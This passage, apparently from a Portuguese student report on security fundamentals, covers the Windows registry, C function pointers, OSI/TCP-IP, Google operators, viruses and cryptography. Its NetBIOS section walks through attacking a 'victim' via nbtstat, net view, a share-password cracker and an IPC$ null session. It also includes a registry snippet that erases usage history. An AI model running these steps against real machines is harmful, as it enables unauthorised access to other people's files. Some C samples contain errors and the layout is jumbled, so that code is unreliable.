consomem apenas 7 bits de memória.
O padrão UNICODE é um padrão em desenvolvimento, uma vez que é modificado á
medida que novos caracteres são acrescentados para serem atribuídos a um identificador
único.
Este padrão está a ser cada vez mais utilizado na indústria do software.
É possível consultar a tabela UNICODE a partir dos seguintes endereços:
Unicode Latim Básico:
http://www.radames.manosso.nom.br/gramatica/unicodelatimbasico.htm
Unicode Latim I Suplementar:
http://www.radames.manosso.nom.br/gramatica/unicodelatimi.htm
Unicode Latim Estendido A:
http://www.radames.manosso.nom.br/gramatica/unicodelatima.htm
26
Unicode Latim Estendido B:
http://www.radames.manosso.nom.br/gramatica/unicodelatimb.htm
Unicode Extensões IPA: http://www.radames.manosso.nom.br/gramatica/unicodeipa.htm
3.3 Registo do Windows
O (Registry) Registo do Windows é uma espécie de base de dados, onde é armazenada a
informação sobre todas as aplicações instaladas, estrutura de directórios, informações
do utilizador, de drivers, configuração de hardware, etc. Ele existe desde as versões do
Windows 3.x, mas passou a ser utilizado como padrão, a partir do Windows 95.
Todas as actividades no sistema operativo dependem da existência do registo. O
Windows procura no registo as instruções para desempenhar correctamente uma tarefa,
os perfis de cada utilizador, quais os programas instalados e quais os arquivos que se
relacionam com ele, qual o hardware existente no computador, etc. É por isso que um
simples erro do Registo do Windows pode fazer o sistema operativo bloquear. Se isso
ocorrer, pode não ser possível encontrar programas, drivers ou configurações. Por
exemplo, se a instalação de um programa correr mal ou ocorrer uma falha de energia
numa área crítica, existe a hipótese de todo o Registo ficar danificado, ao ponto de nem
o Windows arrancar. Felizmente, nenhuma destas ocorrências é muito comum. Na
verdade, a maior fonte de problemas do Registo é o erro humano.
Grande parte dos ataques feitos contra sistemas atacam ou alteram o registo do
Windows, principalmente programas como vírus, Worms, trojans, etc. Assim torna-se
importante a compreensão do registo do Windows para este ser um meio de detecção de
programas instalados que podem ser uma ameaça ao sistema. É possível verificar
existência de referências a programas no sistema de arranque do registo do Windows,
alterar o MAC address da interface da máquina para efectuar um ataque MAC spoofing,
etc. Uma vez que existem malware que altera valore no registo do Windows é
necessário que o utilizador entenda como este funciona para que seja capaz de efectuar
correcções quando é necessário.
À medida que o PC é utilizado e são instalados e removidos programas, o Registo
começa a ficar cheio de lixo. A maior parte desse lixo encontra-se no ficheiro
HKEY_CLASSES_ROOT. Nenhum programa remove totalmente as entradas criadas no
Registo. Existe, porém, programas que permitem remover algumas entradas, entre elas,
27
entradas inválidas e danificadas que podem causar problemas no funcionamento do
sistema operativo (por exemplo os programas RegistryFix, EasyCleaner, etc.).
O Registo está divido em seis ramos, alguns mais complexos que outros. Trata-se da
estrutura básica do Registo do Windows. Cada um tem uma finalidade:
Imagem 3 – Editor de Registo do Windows (raiz do registo)
HKEY_CLASSES_ROOT:
É um atalho para a chave HKEY_LOCAL_MACHINE\SOFTWARE\Classes e a sua
finalidade é manter a compatibilidade com programas de 16 bits. A abreviação dessa
chave é geralmente "HKCR".
HKEY_CURRENT_USER:
Contém todos os perfis de utilizadores com sessão activa no computador.
HKEY_CURRENT_USER é uma sub chave de HKEY_USERS. HKEY_USERS é
algumas vezes abreviada como "HKU."
HKEY_LOCAL_MACHINE:
Contém a informação de configuração específicas para o computador (para qualquer
utilizador), ou seja, informações sobre programas e hardware. Para se ter noção da
importância desta chave, os seus dados são guardados num arquivo chamado system.dat
e apenas pode ser alterado por um administrador do sistema. A abreviação desta chave é
"HKLM".
Hardware: Contém a configuração do hardware como portas paralelas, interfaces SCSI
(Small Computer Systems Interface), etc.
28
Security: Contém informação acerca dos fornecedores de segurança de computadores
em rede.
Software: Esta chave contém a informação relativa a todo o software instalado no
computador. É aqui que a maior parte do lixo se acumula. Num sistema Windows mais
recente, pode ocupar um espaço muito grande.
System: Contém toda a informação necessária para o Windows conseguir iniciar-se.
Esta é uma área particularmente crítica.
Imagem 4 – Editor de registo do Windows (HKEY_LOCAL_MACHINE)
HKEY_USERS:
No Windows é possível ter vários utilizadores num único computador. A função desta
chave é guardar informações de cada um deles. Todas as limitações dos utilizadores,
assim como todas as suas configurações podem ser manipuladas aqui. O ramo
HKEY_USERS é algumas vezes abreviada como "HKU".
HKEY_CURRENT_CONFIG
É um atalho que contém configurações do utilizador actual do computador relativas ao
hardware. Este atalho é útil quando é necessário procurar informações do utilizador que
está com sessão iniciado, pois todas as suas informações aparecem nesta chave.
Em seguida, apresenta-se os tipos de dados armazenados no registo do Windows:
29
Nome Tipo de dados Descrição
Valor binário REG_BINARY Dados binários não
processados. Grande parte
das informações do
hardware é armazenada
como dado binário
Valor DWORD REG_DWORD Dados representados por
um número inteiro (4
bytes).
Valor de cadeia expansível REG_EXPAND_SZ Uma cadeia de dados de
comprimento variável.
Incluem variáveis que são
utilizadas pelo Windows
como apontador para a
localização dos ficheiros, e
são resolvidas quando um
programa ou serviço usa os
dados.
Valor de cadeia múltipla REG_MULTI_SZ Uma cadeia múltipla.
Valores que contém listas
ou valores múltiplos num
formato que as pessoas
conseguem ler são
geralmente desse tipo. As
entradas são separadas por
espaços, vírgulas ou outras
pontuações.
String Value REG_SZ Cadeia de texto com
tamanho fixo.
É aconselhado fazer cópias de segurança do registo do computador antes se fazer
alguma alteração a este. Para fazer o backup do registo basta seguir o seguinte caminho:
abrir o Editor de Registo (‘Iniciar’> ‘Executar’> regedit) e ir ao menu ‘Ficheiro’>
30
‘Exportar’. Na janela de exportação, ao fundo, em ‘Intervalo de exportação’ seleccione
‘Tudo’, depois dê um nome e carregue em ‘Guardar’.
Existe mais de uma maneira de alterar o registo do Windows para realizar o mesmo
objectivo.
È possível usar um ficheiro com extensão.reg para editar o registo. O registo do
Windows guarda um histórico com os comandos escritos na caixa de diálogo da opção
EXECUTAR. Assim, um exemplo possível de alteração do registo é apagar o histórico
de todas as acções feitas.
Para conseguir apagar o histórico de todas as acções feitas é necessário ir ás pastas do
registo que se encontram a seguir e apagar todos os valores existentes.
Pastas onde se tem de apagar os valores:
A partir de uma alteração no registo é possível ocultar o nome de utilizador,
personalizar a imagem de fundo para a barra de ferramentas, não permitir que as
pessoas que usam o computador alterem o que quer que seja no menu ‘Iniciar’ (esta
alteração permite que seja impossível arrastar e largar de e para o menu ‘Iniciar’ ícones
de ficheiros, atalhos, etc.), entre outras alterações.
[-HKEY_CURRENT_USER\software\Microsoft\Internet Explorer\
TypedURLs]
[-
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersi
on\Explorer\RunMRU]
[-
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersi
on\Explorer\RecentDocs]
[-
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersi
on\Explorer\ComDLg32\Last VisitedMRU]
[-HKEY_CURRENT_USER\software\Microsoft\Search
Assistant\ACMru]
31
Devido a extrema flexibilidade do registo é possível a um atacante conseguir instalar
software como vírus, spyware, etc., sem que estes sejam detectados pelos softwares de
protecção.
Existem dois sub-ramos da árvore do registo que normalmente são mais usados para
armazenar informação desse tipo de software e que devem ser analisados caso se
desconfie que o computador está infectado. São os seguintes:
3.4 Ponteiro para funções em C
A diferença principal entre um ponteiro normal e um ponteiro para uma função é que
enquanto o primeiro aponta para uma zona de dados o segundo aponta para uma zona de
código o que permite que a função para a qual ele aponte seja activada e executada.
Esta particularidade da programação em C vai ser abordado mais adiante no capítulo
sobre overflow. Torna-se estão necessário a sua compreensão para o utilizador perceber
a estrutura e o funcionamento do código de programas que utilizam esta forma de
ponteiros. A compreensão do funcionamento dos ponteiros para funções é essencial
para perceber o objectivo de quase todos os ataques de heap overflow.
Um ponteiro para uma função é declarado do seguinte modo:
<TIPO_Retorno> (*nome_funcao) (lista_argumentos);
É necessário colocar o asterisco e o nome da função entre parêntesis para o compilador
interpretar como um ponteiro para uma função, porque se não for colocado com estes o
compilador vai considerar a declaração de um protótipo para a função em vez de um
ponteiro.
Por exemplo se tivermos a função “Int soma (int a, int b)” podemos ter a seguinte
declaração de ponteiro:
[HKEY_CURRENT_USER\software\Microsoft\Windows\Curre
ntVersion]
[HKEY_LOCAL_MACHINE\software\Microsoft\Windows\Curre
ntVersion]
int (*soma) (int um, int 2);
32
Se quisermos utilizar a estrutura typedef podemos declarar de duas formas:
Deixando que o asterisco fique na variável que declaramos do tipo ponteiro para função
ou então de forma a deixar que o asterisco fique antes da variável que aponta para a
função.
No primeiro caso fica:
No segundo caso fica:
A escolha entre uma e outra depende apenas da preferência do programador.
Um exemplo completo:
/* Na declaração: */
Typedef int (funcao_t) (int a, int b);
/* E na atribuição: */
Funcao_t *soma;
/* Na declaração: */
Typedef int (*funcao_t) (int a, int b);
/* E na atribuição: */
Funcao_t soma;
33
Neste exemplo a variável “a” é iniciado com o endereço de “b” e quando “a” é chamado
este ponteiro chama a função “b” que apresenta no ecrã o valor recebido por parâmetro.
3.5 Modelos de transmissão de dados em rede
Existem dois modelos de transmissão de dados que são mais usados para a comunicação
entre computadores. A compreensão dos protocolos de transmissão e dos diversos
protocolos associados a estes é importante para compreender o funcionamento dos
ataques a sistemas que fornecem serviços numa rede e ataques a redes.
/*exemplo retirado da página:
*http://www.ronaldolima.eti.br/modules.php?op=modload&name=
News&file=article&*sid=64&mode=thread&order=0&thold=0
*/
#include <stdio.h>
typedef int (func_t)(int b);
static int b (int i);
int main (void)
{
func_t * a;
a = b;
/* Este é o ponto onde "a" activa a função "b" */
a(10);
return 0;
}
static int b (int i){
return printf ("i = %d\n", i);
}
34
Cada modelo possui camadas responsáveis por tratar os pacotes recebidos e a enviar.
Um ataque costuma ser direccionado a uma determinada camada, dependendo do
objectivo
3.5.1 Modelo OSI
O modelo OSI (Open Systems Interconnection) é um conjunto de padrões que definem
como deve ser efectuada a comunicação de dados entre máquinas (mesmo tipo de
máquinas ou não, mesmas máquinas com diferentes sistemas operativos, etc.).
O modelo OSI tem sete camadas: a camada de aplicação, a camada de apresentação, a
camada de sessão, a camada de transporte, a camada de rede, a camada de ligação de
dados e a camada física. O esquema que se segue apresenta como os dados se
movimentam entre as várias camadas quando dois sistemas pretendem trocar
informação.
Imagem 5- esquema a representar o modelo OSI
A camada de aplicação (camada 7) e a camada de topo do modelo OSI. Esta é a
camada com que a maioria dos utilizadores interage porque é aqui que se
encontram os programas de e-mail, FTP, Telnet, browsers web, e todas as outras
35
aplicações que usam a rede. Assim também é nesta camada que se encontram os
vírus, worms, trojan horses, etc.
A camada de apresentação (camada 6) encontra-se logo abaixo da camada de
aplicação. Esta camada é a responsável em traduzir a informação recebida das
camadas inferiores em linguagem perceptível aos programas que se encontram
na camada de aplicação. Como por exemplo, este deve converter a informação
para o formato ASCII, Unicode, etc. Além desta função esta camada é ainda
responsável por cifrar e decifrar a informação quando a informação transmitida é
cifrada.
A camada de sessão (camada 5) é a camada que se encontra abaixo da camada
de apresentação. Esta camada é a responsável por criar, controlar e desligar
ligações quando é usado o protocolo TCP. Nesta camada encontram-se
protocolos de sessão como o RPC (Remote Procedure Call) e SQLNet. Esta está
vulnerável a vários tipos de ataque, como sniffing, DoS e desvio de sessão.
A camada 4 é conhecida como camada de transporte. Esta camada é responsável
por dividir os dados a enviar e passa-los para a camada inferior. Nesta etapa são
recebidos os pacotes, onde são montados e passados para a camada de sessão.
Esta camada é também responsável pelo controlo fluxo (colocar os pacotes pela
ordem correcta) e pela correcção de erros (geralmente executa esta tarefa
enviando um pacote ao transmissor (pacote de Aknowledge) com a informar de
que recebeu o pacote sem erros). Os protocolos TCP e UDP operam nesta
camada. Esta camada está vulnerável a ataques de DoS, ataques ao protocolo
TCP (ataques SYN) e buffer overflow.
A camada de rede (camada 3) é a camada que trata do endereçamento e do
encaminhamento de informação. Nesta camada encontrasse o protocolo IP
(Internet Protocol) responsável por encaminhar da melhor maneira os pacotes
do emissor para o receptor. Esta camada está vulnerável a vários ataques como
route poisoning, DoS, spoofing, ataques a fragmentação de pacotes. A segurança
nesta camada está na sua maioria entregue ao protocolo IPSec quando este é
usado no sistema.
A camada 2, ligação de dados é a responsável por organizar os dados a enviar
para a camada física em frames,. No sistema receptor esta camada é a
responsável por retirar os dados da frame recebida e passa-los para a camada de
36
rede. Esta camada também é responsável por detectar e resolver erros que
ocorram na camada física. O ataque mais comum contra esta camada é
conhecido por ARP poisoning.
A camada 1, física é responsável por definir quanto tempo um bit dura e como
este é transmitido e recebido. Se a informação que circula na rede não for cifrada
é possível que a informação seja interceptada por um atacante.
A unidade de dados (PDU) usada em cada camada está indicada na imagem seguinte:
Imagem 6 - correspondência entre as camadas do modelo OSI e nome da unidade
de dados.
A unidade de dados é a unidade básica de informação numa determinada camada, ou
seja, é o nome que se dá a uma unidade que é composta por dados e por informação
extra que define qual a camada que consegue interpretar essa unidade.
Cada camada para poder comunicar adiciona aos dados um “Header” e um “Trailer”. O
“Header” contem informação que apenas a própria camada consegue entender, por
exemplo quando um computador adiciona o “Header” da camada de transporte apenas a
37
camada de rede do receptor consegue entender os dados quando a informação chegar a
este. O “Trailer” vai permitir que os dados sejam entendidos pela camada acima da
camada em que os dados se encontram, por exemplo se os dados se encontrarem na
camada de rede vão conter no “Trailer” informação para que a informação seja
entendida na camada de transporte. O “Trailer” é o “Header” da camada acima.
Imagem 7 - Esquema a representar a unidade de dados nas várias camada
Assim depois desta explicação pode-se ver que o PDU (Protocol data unit) é o
“Header” adicionado em cada camada e o SDU (Service Data Unit) é o “Trailer”, ou
seja, o SDU numa camada é o PDU da camada Acima. Como se pode ver pelo esquema
abaixo quando se pretende enviar dados é adicionada informação protocolar em cada
camada para que quando a informação chegue ao destinatário este seja capaz de
entender os dados que recebeu, porque ao passar por cada uma das camadas é retirada a
informação protocolar dessa e a unidade de dados enviada para a camada superior
contem o informação protocolar dessa camada.
38
Imagem 8 – Esquema a ilustrar a informação protocolar que está adicionada
aos dados em cada camada
3.5.2 Modelo TCP/IP
O núcleo do modelo TCP/IP é baseado em quatro protocolos principais: o protocolo IP
(Internet Protocol), o protocolo TCP (Transmission Control Protocol), protocolo UDP
(User Datagram Protocol) e o protocolo ICMP (Internet Control Message Protocol).
O modelo TCP/IP foi criado de forma a ser o mais flexível possível na comunicação de
dados e para trabalhar num ambiente de confiança, o que faz com que existam muitos
protocolos inseguros na sua constituição.
O modelo TCP/IP apresenta quatro camadas:
A camada de aplicação que é onde trabalham aplicações para detectar problemas
na rede, de transferência de ficheiros, browsers, etc.alguns dos protocolos que se
39
encontram nesta camada e que são usados por estas aplicações são o protocolo
FTP, SNMP, .Telnet, http, SMTP, DNS, SSH, etc. Os protocolos usados nesta
camada estão vulneráveis a ataques de captura de passwords, spoofing, DNS
poisoning, etc.
A camada de transporte é responsável por entregar os dados que chegam á
camada de aplicação correctamente, é responsável por garantir que os dados
chegam ao destino e ao chegarem não estejam corrompidos. É nesta camada que
se encontram os protocolos TCP e UDP. Os protocolos usados nesta camada
estão vulneráveis a ataques de DoS, desvio de sessão, etc.
A camada de rede fornece endereçamento lógico para permitir que sejam
trocados dados entre redes diferentes. É responsável pelo encaminhamento de
dados entre redes diferentes e tem de relacionar os endereços lógicos com os
endereços físicos das máquinas ligadas na rede. Nesta camada encontram-se
entre outros os protocolos IP, ICMP e ARP. Os protocolos desta camada estão
vulneráveis a ataques de routing, ataques a fragmentação de pacotes, análise de
tráfico e ataques men-in-the-middle.
A camada de ligação à rede é responsável pelo controlo de erros dos dados que
chegam da rede. É responsável por formatar os dados recebidos e os dados a
enviar. É responsável por endereçar os dados a enviar para a sub rede correcta.
Nesta camada encontram-se protocolos como PPP e SLIP. O ataque de spoofing
do MAC address ocorre nesta camada.
40
Imagem 9 – Esquema que representa as camadas do modelo TCP/IP
41
Apesar dos dois modelos não terem uma correspondência exacta podem ser comparados
da seguinte maneira:
Imagem 10 – Esquema que representa a correspondência entre o modelo
OSI e TCP/IP.
3.6 Usar o google para pesquisas avançadas
O google é um motor de busca revolucionário, através do qual é possível efectuar
pesquisas que devolvem qualquer informação, que se encontre nos servidores se for
usada a combinação de operadores e expressões certas.
Em seguida vão ser apresentados os vários operadores e alguns exemplos da utilização
destes.
Alguns dos operadores básicos que podem ser usados apenas para melhorar a precisão
de resultados de uma pesquisa são:
O carácter “+”, força a inclusão da palavra que se segue ao operador na
pesquisa. Este operador é necessário porque as palavras mais conhecidas são
42
ignoradas automaticamente pelo motor de pesquisa se o utilizador não indicar
que quer que sejam incluídas na pesquisa. Por exemplo, se colocar a frase
“projecto de engenharia informática” a palavra “de” é ignorada pelo motor de
pesquisa e vai devolver resultados que não contem esta palavra, mas se for
colocada a frase “projecto +de engenharia informática” os resultados devolvidos
vai incluir todas as palavras da pesquisa porque é forçada a inclusão da palavra
“de”;
Imagem 11 – Exemplo de utilização do operador “+” na pesquisa do google
O carácter “-“ , força a exclusão de uma palavra da pesquisa. Este operador
permite que sejam filtrados os resultados que á partida se sabe que não
interessam. Por exemplo, se quisermos procurar textos apenas em inglês
britânico que contenham a palavra “optimisation” e que não sejam apresentados
nos resultados links de páginas em inglês americano que neste caso tem a
palavra “optimization” deve-se fornecer a frase “optimisation -optimization” ao
motor de busca para apresentar apenas os resultados das páginas em Inglês
britânico;
43
Imagem 12 - Exemplo de utilização do operador “-” na pesquisa do google
Os caracteres “”, são usados caso seja pretendido que os resultados apresentados
tenham exactamente a frase que é fornecida no motor de pesquisa tem de ser
usado o operador aspas. Quando se efectua uma pesquisa são apresentados os
resultados que contenham cada uma das palavras fornecidas e a única maneira
de garantir que são apresentados apenas resultados que contenham exactamente
a expressão que se inseriu para pesquisa é necessário usar este operador. Por
exemplo, se for pretendido pesquisar “cerveja bohemia” e não for usado o
operador aspas vão ser devolvidas páginas que contenham a palavra “cerveja” e
a palavra “bohemia” indexada mas se a pesquisa for feita com a frase “”cerveja
bohemia””, como é usado o operador aspas apenas são devolvidas páginas que
contenham frases que foram inseridas para pesquisa indexada.
44
Imagem 13 - Exemplo de utilização do operador aspas (“”) na pesquisa do
O carácter “~”, indica ao motor de busca que deve devolver resultados com a
palavra pesquisada e com sinónimos desta. Por exemplo, se for pesquisada a
palavra “barriga” são devolvidas páginas que contenham palavras indexadas
como “pança”, “abdómen”, “bandulho”, etc.
45
Imagem 14 - Exemplo de utilização do operador aspas ~ na pesquisa do
A notação para usar os operadores avançados do google é Operador:termo_a_pesquisa
Alguns dos operadores de pesquisa avançados que o google fornece são:
Site: O termo a inserir para pesquisar é um URL seguido dos termos que
pretende pesquisar. Este operador permite fazer pesquisa no site que é indicado à
frente. Muitas vezes este método consegue ser mais útil para fazer pesquisa
dentro de um site que a funcionalidade de pesquisa do site onde se pretende
pesquisar. É possível por exemplo, obter facilmente qual a página de projecto
informático 1 se for inserida a frase “site:www.dei.estg.ipleiria.pt projecto
informatico 1”.
Imagem 15 - Exemplo de utilização do operador site na pesquisa do google
46
Intitle: Este operador é usado para indicar ao motor de pesquisa que apenas deve
devolver páginas que tenham a frase pesquisada no título das paginas. Por
exemplo se for feita a pesquisa “intitle:sic” são devolvidas apenas as páginas
que incluem a palavra sic no título como “SIC Online - Home”, “SIC Radical”,
etc.
Imagem 16 - Exemplo de utilização do operador “intitle” na pesquisa do
Inurl: Este operador devolve os endereços que contenham a expressão
procurada no URL da página. Este operador é muito útil para pesquisar sobre
assuntos específicos. Por exemplo, se inserirmos a frase “inurl:buffer_overflow”,
são devolvidos os endereços de páginas que incluam o tema na URL e que
certamente apresentam informação útil sobre o tema.
47
Imagem 17 - Exemplo de utilização do operador “inurl” na pesquisa do
Link: O termo a inserir para pesquisar é um URL. Este operador devolve como
resultado as páginas que tem uma ligação para o URL indicado na pesquisa. Por
exemplo, se for inserida a para pesquisa “link:www.fccn.pt” são apresentados
como resultados as páginas que tem uma hiperligaçao no seu código para a
página www.fccn.pt;
Imagem 18 - Exemplo de utilização do operador “link” na pesquisa do
48
Cache: O termo a inserir para pesquisar é um URL. Este operador faz com que o
google apresente a ultima versão que guardou em cache do endereço que foi
inserido. Este endereço é útil caso se pretenda ver um website que esteja offline.
Apenas é possível ver a página como foi guardada e não é possível interagir com
esta, ou seja, não é possível navegar dentro da página apresentada;
Imagem 19 - Exemplo de utilização do operador “cache” na pesquisa do
Related: O termo a inserir para pesquisar é um URL. Este operador devolve
como resultado da pesquisa páginas que o google “pensa” terem um conteúdo
semelhante ao conteúdo do endereço inserido. Se for inserida a frase
“related:www.ipleiria.pt” vão ser apresentados os links para outros politécnicos
do país.
49
Imagem 20 - Exemplo de utilização do operador “related” na pesquisa do
Define: Este operador devolve a definição do termo que é inserido. Se for
inserido a frase “define:trabalho” é apresentada a definição da palavra trabalho.
50
Imagem 21 - Exemplo de utilização do operador “define” na pesquisa do
Filetype: Este operador permite fazer pesquisas por documentos com uma
determinada extensão. Por exemplo, se for inserida a frase “filetype:mp3” são
devolvidos links de páginas que contem ficheiro com a extensão “mp3”;
Imagem 22 - Exemplo de utilização do operador “filetype” na pesquisa do
51
4 NetBios
NetBios é um sistema que fornece ás aplicações de rede um serviço de transmissão
orientado è conexão, um serviço de nomes para identificar os hosts na rede e um serviço
de transmissão de pacotes. Por outras palavras, NetBios é uma especificação de
interface para o acesso a serviços de rede (API).
Trabalha na camada 5 do modelo OSI (Camada de Sessão), faz a ligação entre os
programas e o protocolo NetBEUI. NetBIOS pode ser utilizado em conjunto com outros
protocolos, permitindo que os programas utilizem uma linguagem global para aceder a
rede, independente do protocolo que esteja instalado na máquina. NetBios tem sido
adoptado como um standard mundial e hoje é comum encontrar uma rede local
compatível com NetBios.
Os nomes NetBios são utilizados para identificar recursos da rede. Este identifica cada
máquina com um nome único (como por exemplo SPI1-M13) de forma a identificar
cada dispositivo na rede (resolução de nomes). Também é possível configurar um nome
para cada uma das funções de uma máquina, uma vez que esta também pode ser
configurada para várias funções. As aplicações usam esses nomes para efectuar
conexões entre computadores.
Antes de ser atribuído um nome NetBios a uma máquina ou serviço, toda a rede é
“avisada” por broadcast e o computador espera pela resposta. Se nenhuma máquina
estiver a usar o respectivo nome, o nome é atribuído ao computador ou serviço.
Existe uma tabela pertencente a cada nó com todos os nomes usados.
As portas NetBios sobre o protocolo TCP/IP são o serviço de nomes NetBios (UDP)
porta 137, serviço de datagramas NetBios (UDP) porta 138 e o serviço de conexão
NetBios (TCP) 139.
É possível interagir directamente com NetBios usando o comando NetStat, basta
introduzir este comando na linha de comandos. Por exemplo, se introduzirmos o
comando “NETSTAT 127.0.0.1”, será listada a informação sobre o computador como o
protocolo utilizado, o endereço externo, o endereço interno e o estado:
52
Imagem 23 – Listagem de informações do computador usando o
comando netstat
O NetBios é considerado um sistema básico. É um protocolo simples de utilizar e é
preciso apenas um sistema operativo básico e estar conectado á rede para o explorar.
É possível fazer ataques de escrita/leitura a um computador remoto e ataques de
negação de serviço ao computador que tenham o protocolo NetBios activo.
NetBios apenas pode ser usado para atacar um computador se este tiver a partilha de
ficheiros ou impressoras activas.
Imagem 24 – Execução do comando “nbtstat –n” para saber se a partilha de
pastas e impressoras está activa.
O número <20> significa que a vítima tem ficheiros ou impressoras partilhadas.
Se o resultado devolvido for "Host Not found", significa que a porta 139 (TCP) está
fechada ou que o endereço de IP não existe.
53
Depois de encontrado uma vítima o próximo passo é ver as drives ou ficheiros que a
esta está a partilhar. Para isso, basta digitar o comendo net view \endereço_ip. Caso o
resultado seja CDISK Disk significa que a vítima está a partilhar um disco que tem o
nome de CDISK. É possível receber as informações adicionais logo a seguir. Por
exemplo, se o próximo resultado for HP-6L Print significa que a vítima está a partilhar
uma impressora chamada HP-6L Print.
Depois de conseguir descobrir quais são as partilhas é possível criar uma ligação para o
disco, para escrita e leitura de ficheiro ou para usar a impressora para imprimir
ficheiros. Para ver o conteúdo do disco o atacante apenas tem que se ligar ao disco da
vítima. É criada uma drive no computador do atacante e basta fazer duplo click para ver
o seu conteúdo. Isto é, como se tivéssemos mais uma partição a partir de outro disco,
que neste caso é o da vítima, com a letra escolhida, por exemplo “h”.
Para efectuar a conexão é preciso utilizar um comando NET. Este comando pode ser
introduzido pelos administradores através do DOS para mostrar informações sobre os
recursos partilhados assim como as conexões, a rede e os servidores. Também permite
fazer diversas configurações como do domínio e de recursos partilhados.
Ao fazer a conexão é possível que seja pedida uma password partilhada. Para descobrir
a password basta usar um programa que descubra passwords como o PQWAK (apenas
para passwords do sistema operativo Windows 95, Windows 98, Windows me). Basta
dar ao programa a informação referente ao endereço IP e o nome da máquina da vítima.
Para as versões do Windows mais recentes pode-se usar o IPC$. O IPC$ não descobre
passwords, apenas diz ao sistema operativo para atribuir um acesso convidado de forma
a ser dado acesso sem pedir uma password.
Uma forma de utilizar o IPC$ é conjuntamente com o comando NET como, net use
letra: \\endereçoIPipc$ "" /user:"", em que “letra” é a letra do nome da drive. Uma vez
que, usando este último método, o atacante se conecta como guest, apenas será possível
ver os dados partilhados, mas por outro lado pode ser útil para obter informações
valiosas como o nome de todos os utilizadores.
Algumas das ferramentas que utilizam o IPC$ são Internet Periscope e enum, etc.
54
5 Vírus
Um vírus de computador é um programa que entra num sistema com o intuito de se auto
reproduzir, seja ao replicar-se dentro do mesmo sistema ou espalhar-se por outros
sistemas (se este se encontrar ligado a uma rede) com o intuito de danificar o sistema
(vírus maligno) que infecta ou de apenas incomodar o utilizador desse sistema com
mensagens ou acções irritantes (vírus benigno).
Segundo a história, o primeiro vírus informático que apareceu foi em 1981 intitulado
Elk Cloner que infectava sistemas Apple e em 1986 surgiu o vírus Brain que foi o
primeiro vírus conhecido a infectar sistemas Microsoft.
Nenhum computador está imune a vírus.
5.1 Vírus tradicionais
Os vírus podem propagar-se de várias maneiras. Inicialmente propagavam-se
maioritariamente pela partilha de disquetes, mas actualmente a maioria dos vírus
propaga-se pela Internet nomeadamente pelas mensagens de e-mail. Actualmente os
vírus que se propagam por e-mail evoluíram de tal forma que para um sistema ficar
infectado apenas é necessário que o utilizador pré visualize o e-mail, ao contrario dos
vírus iniciais em que era necessário que o utilizador executasse o ficheiro que fosse
enviado em anexo com o vírus.
Actualmente, se um sistema que não se encontra actualizado for ligado à Internet ao fim
de alguns segundos já se encontrará infectado com pelo menos um vírus.
Existem vários tipos de vírus que serão descritos de seguida.
Vírus que infectam ficheiros:
Este tipo de vírus esconde-se na memória do computador da primeira vez que um
programa infectado é executado e em seguida infecta os ficheiros com extensão .EXE,
.COM, .OVL, .DLL, etc.
Vírus do sistema de ficheiros:
É um tipo de vírus que modifica a tabela interna do sistema operativo que controla os
ficheiros e pastas, de forma a ser carregado para memória e executado antes da
execução de cada programa. Os programas que são executados não são infectados.
55
Vírus do sector de arranque:
Este vírus infecta a área do disco que é lida e executada quando o computador arranca
(boot sector).
Vírus de macros:
Uma macro é um programa que é utilizado para efectuar tarefas repetitivas. As macros
são executadas automaticamente se o ficheiro a que estão anexadas é aberto. Esta
funcionalidade é explorada para efectuar instruções malignas em vez de uma tarefa
normal.
Este tipo de vírus espalha-se muito rapidamente porque a maioria dos utilizadores de
computadores pensam que os ficheiros de dados são imunes a vírus.
Hoaxes:
São mensagens de e-mail que avisam o utilizador sobre vírus inexistentes com o
objectivo de assustar o utilizador e fazer com que este adquira determinado software
para se proteger, ou que reenvie o e-mail ao maior numero de pessoas de forma a
aumentar quantidade de tráfego na rede e aumentar a quantidade de lixo recebido no e-
mail, até agora o hoaxe mais conhecido era uma mensagem reencaminhada com o título
“Good Times”.
5.2 Worms
Os worms residem na memória do sistema e têm como objectivo reproduzir-se para
consumir todos os recursos do sistema onde se encontra e se estiver ligado em rede vai
tentar propagar-se também de forma a consumir a largura de banda disponível. Desta
forma, um worm tem a capacidade de infectar um sistema sem a intervenção do
utilizador. Um worm também é capaz de apagar ficheiros, enviar ficheiros para um
endereço e-mail, etc. dependendo da função para a qual é programado.
Um worm trabalha de forma automática e transparente para o utilizador a menos que o
objectivo seja que o utilizador se aperceba da sua presença.
Um worm ao contrário de um vírus normal não precisa de estar acoplado a um
programa, consegue existir e propagar-se sozinho.
Um exemplo de um worm muito conhecido é o “I LOVE YOU”, que infectou centenas
de computadores num curto espaço de tempo.
56
Outro exemplo de worm é o W32.Pokemon.Worm. Este worm tem a capacidade de se
replicar por e-mail e apaga ficheiros depois de instalado do sistema da vítima.
Alguns worms possuem um payload que na maioria dos casos consiste numa backdoor
para que mais tarde a sua presença no sistema possa ser explorada.
O método mais eficaz de detecção e remoção deste tipo de malware é através do uso de
antivírus actualizado.
57
6 Segurança e confidencialidade de
dados
6.1 Criptografia
A criptografia foi criada para garantir a confidencialidade da informação.
A criptografia é um ramo da matemática que estuda métodos para cifrar os dados e que
sejam difíceis de reverter sem o conhecimento da chave utilizada, o processo de
reversão da chave não é impossível mas o poder computacional necessário para isso, no
período de tempo que a informação se tem de manter secreta é tão elevado que torna a
tarefa impraticável.
Os algoritmos utilizados nos métodos criptográficos são públicos e a segurança da sua
utilização baseia-se nas chaves utilizadas.
Os sistemas criptográficos são classificados quanto ao tipo de operações usadas no
processo de cifrar as mensagens, que podem ser por substituição (os elementos da
mensagem são transformados noutros), por transposição (os elementos da mensagem
mudam de posição dentro desta) ou mistos (com transposição e substituição), são
classificados quanto ao numero de chaves usadas, neste caso existem sistemas de
criptográficos simétricos (em que é usada apenas uma chave, este processo também é
chamado de criptografia de chave única, chave secreta ou convencional) e sistemas
criptográficos assimétricos (em que são usadas duas chaves, este processo também é
chamado de criptografia de chave pública ou duas chaves). Os sistemas criptográficos
são ainda classificados pela forma como as mensagens são cifradas, que pode ser em
Blocos (operam sobre blocos de bits) ou stream (operam sobre um único bit ou byte).
Se o sistema criptográfico usado for muito fraco como os baseados em XOR, Base64 ou
Uuencode os dados podem ser decifrados muito facilmente por um atacante recorrendo
a ferramentas muito simples ou pode decifrar estes dados on-line, por exemplo na
página www.yellowpipe.com/yis/tools/encrypter/index.php.
58
Existem muitas soluções para cifrar informação quando esta se encontra nas várias
camadas do modelo OSI. Em seguida, estão apresentadas as mais usadas para dar uma
